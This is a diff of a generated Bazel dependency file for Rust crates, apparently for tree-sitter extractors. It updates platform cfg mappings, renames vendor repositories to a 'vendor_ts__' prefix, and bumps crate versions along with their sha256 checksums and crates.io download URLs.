+    "cfg(all(target_os = \"linux\", not(target_env = \"ohos\")))": ["@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"],
+    "cfg(all(windows, not(target_vendor = \"win7\")))": ["@rules_rust//rust/platform:aarch64-pc-windows-msvc", "@rules_rust//rust/platform:i686-pc-windows-msvc", "@rules_rust//rust/platform:x86_64-pc-windows-msvc"],
+    "cfg(any())": [],
+    "cfg(any(target_os = \"dragonfly\", target_os = \"freebsd\", target_os = \"hurd\", target_os = \"illumos\", all(target_os = \"horizon\", target_arch = \"arm\")))": ["@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:x86_64-unknown-freebsd"],
+    "cfg(any(target_os = \"freebsd\", target_os = \"openbsd\", target_os = \"netbsd\", target_os = \"dragonflybsd\", target_os = \"ios\"))": ["@rules_rust//rust/platform:aarch64-apple-ios", "@rules_rust//rust/platform:aarch64-apple-ios-sim", "@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:x86_64-apple-ios", "@rules_rust//rust/platform:x86_64-unknown-freebsd"],
+    "cfg(any(target_os = \"haiku\", target_os = \"redox\", target_os = \"nto\", target_os = \"aix\"))": ["@rules_rust//rust/platform:aarch64-unknown-nto-qnx710"],
+    "cfg(any(target_os = \"ios\", target_os = \"visionos\", target_os = \"watchos\", target_os = \"tvos\"))": ["@rules_rust//rust/platform:aarch64-apple-ios", "@rules_rust//rust/platform:aarch64-apple-ios-sim", "@rules_rust//rust/platform:x86_64-apple-ios"],
     "cfg(any(target_os = \"linux\", target_os = \"android\"))": ["@rules_rust//rust/platform:aarch64-linux-android", "@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-linux-android", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"],
     "cfg(any(target_os = \"macos\", target_os = \"ios\"))": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:aarch64-apple-ios", "@rules_rust//rust/platform:aarch64-apple-ios-sim", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-ios"],
+    "cfg(any(target_os = \"macos\", target_os = \"openbsd\", target_os = \"vita\", target_os = \"emscripten\"))": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-darwin"],
     "cfg(any(target_pointer_width = \"8\", target_pointer_width = \"16\", target_pointer_width = \"32\"))": ["@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:i686-pc-windows-msvc", "@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:riscv32imc-unknown-none-elf", "@rules_rust//rust/platform:thumbv7em-none-eabi", "@rules_rust//rust/platform:thumbv8m.main-none-eabi", "@rules_rust//rust/platform:wasm32-unknown-unknown", "@rules_rust//rust/platform:wasm32-wasip1"],
+    "cfg(loom)": [],
     "cfg(not(windows))": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:aarch64-apple-ios", "@rules_rust//rust/platform:aarch64-apple-ios-sim", "@rules_rust//rust/platform:aarch64-linux-android", "@rules_rust//rust/platform:aarch64-unknown-fuchsia", "@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710", "@rules_rust//rust/platform:aarch64-unknown-uefi", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:riscv32imc-unknown-none-elf", "@rules_rust//rust/platform:riscv64gc-unknown-none-elf", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:thumbv7em-none-eabi", "@rules_rust//rust/platform:thumbv8m.main-none-eabi", "@rules_rust//rust/platform:wasm32-unknown-unknown", "@rules_rust//rust/platform:wasm32-wasip1", "@rules_rust//rust/platform:x86_64-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-ios", "@rules_rust//rust/platform:x86_64-linux-android", "@rules_rust//rust/platform:x86_64-unknown-freebsd", "@rules_rust//rust/platform:x86_64-unknown-fuchsia", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu", "@rules_rust//rust/platform:x86_64-unknown-none", "@rules_rust//rust/platform:x86_64-unknown-uefi"],
     "cfg(target_os = \"android\")": ["@rules_rust//rust/platform:aarch64-linux-android", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:x86_64-linux-android"],
     "cfg(target_os = \"haiku\")": [],
     "cfg(target_os = \"hermit\")": [],
-    "cfg(target_os = \"linux\")": ["@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"],
     "cfg(target_os = \"macos\")": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-darwin"],
+    "cfg(target_os = \"netbsd\")": [],
     "cfg(target_os = \"redox\")": [],
+    "cfg(target_os = \"solaris\")": [],
+    "cfg(target_os = \"vxworks\")": [],
     "cfg(target_os = \"wasi\")": ["@rules_rust//rust/platform:wasm32-wasip1"],
     "cfg(target_os = \"windows\")": ["@rules_rust//rust/platform:aarch64-pc-windows-msvc", "@rules_rust//rust/platform:i686-pc-windows-msvc", "@rules_rust//rust/platform:x86_64-pc-windows-msvc"],
     "cfg(unix)": ["@rules_rust//rust/platform:aarch64-apple-darwin", "@rules_rust//rust/platform:aarch64-apple-ios", "@rules_rust//rust/platform:aarch64-apple-ios-sim", "@rules_rust//rust/platform:aarch64-linux-android", "@rules_rust//rust/platform:aarch64-unknown-fuchsia", "@rules_rust//rust/platform:aarch64-unknown-linux-gnu", "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu", "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710", "@rules_rust//rust/platform:arm-unknown-linux-gnueabi", "@rules_rust//rust/platform:armv7-linux-androideabi", "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi", "@rules_rust//rust/platform:i686-apple-darwin", "@rules_rust//rust/platform:i686-linux-android", "@rules_rust//rust/platform:i686-unknown-freebsd", "@rules_rust//rust/platform:i686-unknown-linux-gnu", "@rules_rust//rust/platform:powerpc-unknown-linux-gnu", "@rules_rust//rust/platform:s390x-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-apple-darwin", "@rules_rust//rust/platform:x86_64-apple-ios", "@rules_rust//rust/platform:x86_64-linux-android", "@rules_rust//rust/platform:x86_64-unknown-freebsd", "@rules_rust//rust/platform:x86_64-unknown-fuchsia", "@rules_rust//rust/platform:x86_64-unknown-linux-gnu", "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu"],
@@ -645,7 +659,7 @@ def crate_repositories():
     """
     maybe(
         http_archive,
-        name = "vendor__adler2-2.0.0",
+        name = "vendor_ts__adler2-2.0.0",
         sha256 = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/adler2/2.0.0/download"],
@@ -655,7 +669,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__aho-corasick-1.1.3",
+        name = "vendor_ts__aho-corasick-1.1.3",
         sha256 = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/aho-corasick/1.1.3/download"],
@@ -665,17 +679,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__always-assert-0.2.0",
-        sha256 = "a1078fa1ce1e34b1872d8611ad921196d76bdd7027e949fbe31231abde201892",
+        name = "vendor_ts__allocator-api2-0.2.21",
+        sha256 = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/always-assert/0.2.0/download"],
-        strip_prefix = "always-assert-0.2.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.always-assert-0.2.0.bazel"),
+        urls = ["https://static.crates.io/crates/allocator-api2/0.2.21/download"],
+        strip_prefix = "allocator-api2-0.2.21",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.allocator-api2-0.2.21.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__android-tzdata-0.1.1",
+        name = "vendor_ts__android-tzdata-0.1.1",
         sha256 = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/android-tzdata/0.1.1/download"],
@@ -685,7 +699,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__android_system_properties-0.1.5",
+        name = "vendor_ts__android_system_properties-0.1.5",
         sha256 = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/android_system_properties/0.1.5/download"],
@@ -695,7 +709,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__anstream-0.6.18",
+        name = "vendor_ts__anstream-0.6.18",
         sha256 = "8acc5369981196006228e28809f761875c0327210a891e941f4c683b3a99529b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/anstream/0.6.18/download"],
@@ -705,7 +719,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__anstyle-1.0.10",
+        name = "vendor_ts__anstyle-1.0.10",
         sha256 = "55cc3b69f167a1ef2e161439aa98aed94e6028e5f9a59be9a6ffb47aef1651f9",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/anstyle/1.0.10/download"],
@@ -715,7 +729,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__anstyle-parse-0.2.6",
+        name = "vendor_ts__anstyle-parse-0.2.6",
         sha256 = "3b2d16507662817a6a20a9ea92df6652ee4f94f914589377d69f3b21bc5798a9",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/anstyle-parse/0.2.6/download"],
@@ -725,7 +739,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__anstyle-query-1.1.2",
+        name = "vendor_ts__anstyle-query-1.1.2",
         sha256 = "79947af37f4177cfead1110013d678905c37501914fba0efea834c3fe9a8d60c",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/anstyle-query/1.1.2/download"],
@@ -735,27 +749,27 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__anstyle-wincon-3.0.6",
-        sha256 = "2109dbce0e72be3ec00bed26e6a7479ca384ad226efdd66db8fa2e3a38c83125",
+        name = "vendor_ts__anstyle-wincon-3.0.7",
+        sha256 = "ca3534e77181a9cc07539ad51f2141fe32f6c3ffd4df76db8ad92346b003ae4e",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/anstyle-wincon/3.0.6/download"],
-        strip_prefix = "anstyle-wincon-3.0.6",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.anstyle-wincon-3.0.6.bazel"),
+        urls = ["https://static.crates.io/crates/anstyle-wincon/3.0.7/download"],
+        strip_prefix = "anstyle-wincon-3.0.7",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.anstyle-wincon-3.0.7.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__anyhow-1.0.95",
-        sha256 = "34ac096ce696dc2fcabef30516bb13c0a68a11d30131d3df6f04711467681b04",
+        name = "vendor_ts__anyhow-1.0.97",
+        sha256 = "dcfed56ad506cb2c684a14971b8861fdc3baaaae314b9e5f9bb532cbe3ba7a4f",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/anyhow/1.0.95/download"],
-        strip_prefix = "anyhow-1.0.95",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.anyhow-1.0.95.bazel"),
+        urls = ["https://static.crates.io/crates/anyhow/1.0.97/download"],
+        strip_prefix = "anyhow-1.0.97",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.anyhow-1.0.97.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__argfile-0.2.1",
+        name = "vendor_ts__argfile-0.2.1",
         sha256 = "0a1cc0ba69de57db40674c66f7cf2caee3981ddef084388482c95c0e2133e5e8",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/argfile/0.2.1/download"],
@@ -765,7 +779,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__arrayvec-0.7.6",
+        name = "vendor_ts__arrayvec-0.7.6",
         sha256 = "7c02d123df017efcdfbd739ef81735b36c5ba83ec3c59c80a9d7ecc718f92e50",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/arrayvec/0.7.6/download"],
@@ -775,7 +789,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__atomic-0.6.0",
+        name = "vendor_ts__atomic-0.6.0",
         sha256 = "8d818003e740b63afc82337e3160717f4f63078720a810b7b903e70a5d1d2994",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/atomic/0.6.0/download"],
@@ -785,7 +799,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__autocfg-1.4.0",
+        name = "vendor_ts__autocfg-1.4.0",
         sha256 = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/autocfg/1.4.0/download"],
@@ -795,7 +809,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__base64-0.22.1",
+        name = "vendor_ts__base64-0.22.1",
         sha256 = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/base64/0.22.1/download"],
@@ -805,7 +819,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__bitflags-1.3.2",
+        name = "vendor_ts__bitflags-1.3.2",
         sha256 = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/bitflags/1.3.2/download"],
@@ -815,17 +829,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__bitflags-2.7.0",
-        sha256 = "1be3f42a67d6d345ecd59f675f3f012d6974981560836e938c22b424b85ce1be",
+        name = "vendor_ts__bitflags-2.8.0",
+        sha256 = "8f68f53c83ab957f72c32642f3868eec03eb974d1fb82e453128456482613d36",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/bitflags/2.7.0/download"],
-        strip_prefix = "bitflags-2.7.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.bitflags-2.7.0.bazel"),
+        urls = ["https://static.crates.io/crates/bitflags/2.8.0/download"],
+        strip_prefix = "bitflags-2.8.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.bitflags-2.8.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__borsh-1.5.3",
+        name = "vendor_ts__borsh-1.5.3",
         sha256 = "2506947f73ad44e344215ccd6403ac2ae18cd8e046e581a441bf8d199f257f03",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/borsh/1.5.3/download"],
@@ -835,7 +849,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__bstr-1.11.3",
+        name = "vendor_ts__boxcar-0.2.11",
+        sha256 = "6740c6e2fc6360fa57c35214c7493826aee95993926092606f27c983b40837be",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/boxcar/0.2.11/download"],
+        strip_prefix = "boxcar-0.2.11",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.boxcar-0.2.11.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__bstr-1.11.3",
         sha256 = "531a9155a481e2ee699d4f98f43c0ca4ff8ee1bfd55c31e9e98fb29d2b176fe0",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/bstr/1.11.3/download"],
@@ -845,7 +869,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__bumpalo-3.16.0",
+        name = "vendor_ts__bumpalo-3.16.0",
         sha256 = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/bumpalo/3.16.0/download"],
@@ -855,7 +879,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__bytemuck-1.21.0",
+        name = "vendor_ts__bytemuck-1.21.0",
         sha256 = "ef657dfab802224e671f5818e9a4935f9b1957ed18e58292690cc39e7a4092a3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/bytemuck/1.21.0/download"],
@@ -865,7 +889,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__byteorder-1.5.0",
+        name = "vendor_ts__byteorder-1.5.0",
         sha256 = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/byteorder/1.5.0/download"],
@@ -875,7 +899,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__camino-1.1.9",
+        name = "vendor_ts__camino-1.1.9",
         sha256 = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/camino/1.1.9/download"],
@@ -885,7 +909,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__cargo-platform-0.1.9",
+        name = "vendor_ts__cargo-platform-0.1.9",
         sha256 = "e35af189006b9c0f00a064685c727031e3ed2d8020f7ba284d78cc2671bd36ea",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/cargo-platform/0.1.9/download"],
@@ -895,7 +919,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__cargo_metadata-0.18.1",
+        name = "vendor_ts__cargo_metadata-0.18.1",
         sha256 = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/cargo_metadata/0.18.1/download"],
@@ -905,7 +929,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__cc-1.2.7",
+        name = "vendor_ts__cc-1.2.7",
         sha256 = "a012a0df96dd6d06ba9a1b29d6402d1a5d77c6befd2566afdc26e10603dc93d7",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/cc/1.2.7/download"],
@@ -915,7 +939,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__cfg-if-1.0.0",
+        name = "vendor_ts__cfg-if-1.0.0",
         sha256 = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/cfg-if/1.0.0/download"],
@@ -925,7 +949,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__cfg_aliases-0.2.1",
+        name = "vendor_ts__cfg_aliases-0.2.1",
         sha256 = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/cfg_aliases/0.2.1/download"],
@@ -935,87 +959,87 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__chalk-derive-0.98.0",
-        sha256 = "9426c8fd0fe61c3da880b801d3b510524df17843a8f9ec1f5b9cec24fb7412df",
+        name = "vendor_ts__chalk-derive-0.100.0",
+        sha256 = "ab2d131019373f0d0d1f2af0abd4f719739f6583c1b33965112455f643a910af",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/chalk-derive/0.98.0/download"],
-        strip_prefix = "chalk-derive-0.98.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-derive-0.98.0.bazel"),
+        urls = ["https://static.crates.io/crates/chalk-derive/0.100.0/download"],
+        strip_prefix = "chalk-derive-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-derive-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__chalk-ir-0.98.0",
-        sha256 = "d5f2eb1cd6054da221bd1ac0197fb2fe5e2caf3dcb93619398fc1433f8f09093",
+        name = "vendor_ts__chalk-ir-0.100.0",
+        sha256 = "4f114996bda14c0213f014a4ef31a7867dcf5f539a3900477fc6b20138e7a17b",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/chalk-ir/0.98.0/download"],
-        strip_prefix = "chalk-ir-0.98.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-ir-0.98.0.bazel"),
+        urls = ["https://static.crates.io/crates/chalk-ir/0.100.0/download"],
+        strip_prefix = "chalk-ir-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-ir-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__chalk-recursive-0.98.0",
-        sha256 = "129dc03458f71cfb9c3cd621c9c68166a94e87b85b16ccd29af015d7ff9a1c61",
+        name = "vendor_ts__chalk-recursive-0.100.0",
+        sha256 = "551e956e031c09057c7b21f17d48d91de99c9b6b6e34bceaf5e7202d71021268",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/chalk-recursive/0.98.0/download"],
-        strip_prefix = "chalk-recursive-0.98.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-recursive-0.98.0.bazel"),
+        urls = ["https://static.crates.io/crates/chalk-recursive/0.100.0/download"],
+        strip_prefix = "chalk-recursive-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-recursive-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__chalk-solve-0.98.0",
-        sha256 = "d7e8a8c1e928f98cdf227b868416ef21dcd8cc3c61b347576d783713444d41c8",
+        name = "vendor_ts__chalk-solve-0.100.0",
+        sha256 = "cd7ca50181156ce649efe8e5dd00580f573651554e4dcd11afa4e2ac93f53324",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/chalk-solve/0.98.0/download"],
-        strip_prefix = "chalk-solve-0.98.0",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-solve-0.98.0.bazel"),
+        urls = ["https://static.crates.io/crates/chalk-solve/0.100.0/download"],
+        strip_prefix = "chalk-solve-0.100.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chalk-solve-0.100.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__chrono-0.4.39",
-        sha256 = "7e36cc9d416881d2e24f9a963be5fb1cd90966419ac844274161d10488b3e825",
+        name = "vendor_ts__chrono-0.4.40",
+        sha256 = "1a7964611d71df112cb1730f2ee67324fcf4d0fc6606acbbe9bfe06df124637c",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/chrono/0.4.39/download"],
-        strip_prefix = "chrono-0.4.39",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chrono-0.4.39.bazel"),
+        urls = ["https://static.crates.io/crates/chrono/0.4.40/download"],
+        strip_prefix = "chrono-0.4.40",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.chrono-0.4.40.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__clap-4.5.26",
-        sha256 = "a8eb5e908ef3a6efbe1ed62520fb7287959888c88485abe072543190ecc66783",
+        name = "vendor_ts__clap-4.5.32",
+        sha256 = "6088f3ae8c3608d19260cd7445411865a485688711b78b5be70d78cd96136f83",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/clap/4.5.26/download"],
-        strip_prefix = "clap-4.5.26",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap-4.5.26.bazel"),
+        urls = ["https://static.crates.io/crates/clap/4.5.32/download"],
+        strip_prefix = "clap-4.5.32",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap-4.5.32.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__clap_builder-4.5.26",
-        sha256 = "96b01801b5fc6a0a232407abc821660c9c6d25a1cafc0d4f85f29fb8d9afc121",
+        name = "vendor_ts__clap_builder-4.5.32",
+        sha256 = "22a7ef7f676155edfb82daa97f99441f3ebf4a58d5e32f295a56259f1b6facc8",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/clap_builder/4.5.26/download"],
-        strip_prefix = "clap_builder-4.5.26",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap_builder-4.5.26.bazel"),
+        urls = ["https://static.crates.io/crates/clap_builder/4.5.32/download"],
+        strip_prefix = "clap_builder-4.5.32",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap_builder-4.5.32.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__clap_derive-4.5.24",
-        sha256 = "54b755194d6389280185988721fffba69495eed5ee9feeee9a599b53db80318c",
+        name = "vendor_ts__clap_derive-4.5.32",
+        sha256 = "09176aae279615badda0765c0c0b3f6ed53f4709118af73cf4655d85d1530cd7",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/clap_derive/4.5.24/download"],
-        strip_prefix = "clap_derive-4.5.24",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap_derive-4.5.24.bazel"),
+        urls = ["https://static.crates.io/crates/clap_derive/4.5.32/download"],
+        strip_prefix = "clap_derive-4.5.32",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.clap_derive-4.5.32.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__clap_lex-0.7.4",
+        name = "vendor_ts__clap_lex-0.7.4",
         sha256 = "f46ad14479a25103f283c0f10005961cf086d8dc42205bb44c46ac563475dca6",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/clap_lex/0.7.4/download"],
@@ -1025,7 +1049,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__colorchoice-1.0.3",
+        name = "vendor_ts__colorchoice-1.0.3",
         sha256 = "5b63caa9aa9397e2d9480a9b13673856c78d8ac123288526c37d7839f2a86990",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/colorchoice/1.0.3/download"],
@@ -1035,7 +1059,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__core-foundation-sys-0.8.7",
+        name = "vendor_ts__core-foundation-sys-0.8.7",
         sha256 = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/core-foundation-sys/0.8.7/download"],
@@ -1045,7 +1069,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__countme-3.0.1",
+        name = "vendor_ts__countme-3.0.1",
         sha256 = "7704b5fdd17b18ae31c4c1da5a2e0305a2bf17b5249300a9ee9ed7b72114c636",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/countme/3.0.1/download"],
